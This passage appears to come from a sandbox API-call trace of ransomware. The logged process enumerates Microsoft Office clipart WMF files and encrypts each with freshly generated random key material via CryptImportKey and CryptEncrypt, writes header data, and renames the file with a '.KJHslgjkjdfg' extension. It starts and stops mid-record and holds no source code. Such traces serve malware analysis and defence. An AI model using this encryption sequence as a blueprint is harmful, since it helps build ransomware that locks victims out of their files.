lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.133] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00308_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00308_.wmf.kjhslgjkjdfg")) returned 1 [0189.135] CloseHandle (hObject=0x114) returned 1 [0189.135] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81165d00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81165d00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00345_.WMF", cAlternateFileName="")) returned 1 [0189.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.136] GetProcessHeap () returned 0x2a0000 [0189.136] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.136] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.136] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.136] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0189.138] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.138] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.138] GetProcessHeap () returned 0x2a0000 [0189.138] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.138] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.138] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.138] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.138] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.139] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.139] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.139] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.139] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.139] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xae4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xae4, lpOverlapped=0x0) returned 1 [0189.139] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0, dwBufLen=0xaf0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xaf0) returned 1 [0189.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.139] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xaf0, lpOverlapped=0x0) returned 1 [0189.139] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xbc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.139] SetEndOfFile (hFile=0x114) returned 1 [0189.141] GetProcessHeap () returned 0x2a0000 [0189.141] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.141] GetProcessHeap () returned 0x2a0000 [0189.142] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.142] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00345_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00345_.wmf.kjhslgjkjdfg")) returned 1 [0189.143] CloseHandle (hObject=0x114) returned 1 [0189.143] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5aabee00, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x5a980590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5aabee00, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00452_.WMF", cAlternateFileName="")) returned 1 [0189.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.145] GetProcessHeap () returned 0x2a0000 [0189.145] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.145] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.145] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.145] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.145] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.145] GetProcessHeap () returned 0x2a0000 [0189.145] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.145] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.145] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.145] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.147] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.147] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.147] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x540, lpOverlapped=0x0) returned 1 [0189.148] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540, dwBufLen=0x540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x540) returned 1 [0189.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.148] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x540, lpOverlapped=0x0) returned 1 [0189.148] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.148] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.148] SetEndOfFile (hFile=0x114) returned 1 [0189.150] GetProcessHeap () returned 0x2a0000 [0189.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.150] GetProcessHeap () returned 0x2a0000 [0189.150] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00452_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00452_.wmf.kjhslgjkjdfg")) returned 1 [0189.152] CloseHandle (hObject=0x114) returned 1 [0189.152] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ff15900, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ff15900, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x1db8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL00712_.WMF", cAlternateFileName="")) returned 1 [0189.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.153] GetProcessHeap () returned 0x2a0000 [0189.153] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.153] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.153] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.155] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.155] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.155] GetProcessHeap () returned 0x2a0000 [0189.155] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.155] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.155] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.155] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.156] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.156] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.156] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.156] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1db8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1db8, lpOverlapped=0x0) returned 1 [0189.157] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1dc0, dwBufLen=0x1dc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1dc0) returned 1 [0189.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.157] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1dc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1dc0, lpOverlapped=0x0) returned 1 [0189.157] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.157] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.158] SetEndOfFile (hFile=0x114) returned 1 [0189.160] GetProcessHeap () returned 0x2a0000 [0189.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.160] GetProcessHeap () returned 0x2a0000 [0189.160] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.160] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL00712_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl00712_.wmf.kjhslgjkjdfg")) returned 1 [0189.162] CloseHandle (hObject=0x114) returned 1 [0189.162] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17d63d00, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17d63d00, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0xcdc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01040_.WMF", cAlternateFileName="")) returned 1 [0189.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.163] GetProcessHeap () returned 0x2a0000 [0189.164] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.164] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.164] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0189.164] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.167] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.167] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.167] GetProcessHeap () returned 0x2a0000 [0189.168] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0189.168] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0189.168] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0189.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0189.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0189.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0189.168] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0189.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xcdc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xcdc, lpOverlapped=0x0) returned 1 [0189.169] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0, dwBufLen=0xce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xce0) returned 1 [0189.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xce0, lpOverlapped=0x0) returned 1 [0189.169] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0189.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xdb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.169] SetEndOfFile (hFile=0x114) returned 1 [0189.171] GetProcessHeap () returned 0x2a0000 [0189.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0189.171] GetProcessHeap () returned 0x2a0000 [0189.172] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0189.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01040_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01040_.wmf.kjhslgjkjdfg")) returned 1 [0189.174] CloseHandle (hObject=0x114) returned 1 [0189.174] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1573e300, ftCreationTime.dwHighDateTime=0x1bd4bfc, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1573e300, ftLastWriteTime.dwHighDateTime=0x1bd4bfc, nFileSizeHigh=0x0, nFileSizeLow=0x60c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SL01041_.WMF", cAlternateFileName="")) returned 1 [0189.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SL01041_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sl01041_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.175] GetProcessHeap () returned 0x2a0000 [0189.175] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0189.175] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0189.175] 